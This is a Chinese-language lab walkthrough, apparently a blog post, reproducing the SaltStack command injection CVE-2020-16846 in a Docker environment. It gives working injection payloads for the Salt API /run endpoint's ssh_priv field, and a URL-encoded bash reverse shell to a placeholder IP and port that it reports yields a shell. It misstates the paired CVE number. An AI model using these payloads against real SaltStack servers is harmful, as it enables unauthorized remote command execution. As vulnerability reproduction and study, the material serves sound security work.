CVE SaltStack命令注入漏洞复现

 漏洞描述

SaltStack 是基于 Python 开发的一套C/S架构配置管理工具。2020年11月SaltStack官方披露了CVE2020-16846,CVE-2020-16846允许用户执行任意命令。组合这两个漏洞,将可以使未授权的攻击者通 过Salt API执行任意命令 影响范围 SaltStack < 3002.1 SaltStack < 3001.3 SaltStack < 3000.5 SaltStack < 2019.2.7

开始复现:

 我们启动docker ,进入相应的漏洞,输入

 docker-compose up -d

启动成功以后我们在浏览器输入启动的环境IP和端口,查看是否启动成功

启动成功

我们打开BP,访问这个地址的run路径 抓包,发送到Repeater,改变请求方式为POST

我们在下面添加一条数据,点击发送,这是一条在docker容器里面添加文件的命令

token=12312&client=ssh&tgt=*&fun=a&roster=whip1ash&ssh_priv=aaa|touch%20/tmp/456%3b

这里的%20是空格,%3b是分号;

然后我们进入容器的命令行:

先查看容器ID:

docker ps

然后进入容器命令行:

docker exec -it ID bash

进入到我们添加文件的路径并且查看是否添加成功:

添加成功,

我们在456文件中写入数据2:

token=12312&client=ssh&tgt=*&fun=a&roster=whip1ash&ssh_priv=aaa|echo 2 > /tmp/456%3b

成功,我们去容器看一下是否写入成功:

成功,既然能够写入数据,我们写入一个反弹命令

echo 'bash -i >%26 /dev/tcp/ip/port 0>%261' >/tmp/456.sh%3b

注意:这里的IP填需要反弹到的IP和端口

因为这里的&被过滤了,我们将&进行URL编码为%26 ,这里的456.sh 是我们创建的一个可执行文件

我们进入容器看一下是否成功

成功

我们开启一个监听:

那么我们用BP直接去运行这个可执行文件:

bash%20/tmp/456.sh%3b

打开我们监听的端口:

成功,得到getshell

漏洞分析

该漏洞的成因是因为 salt/client/ssh/shell.py 文件没有对用户参数进行严格的过滤,导致可以执行命令.

  • 20
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值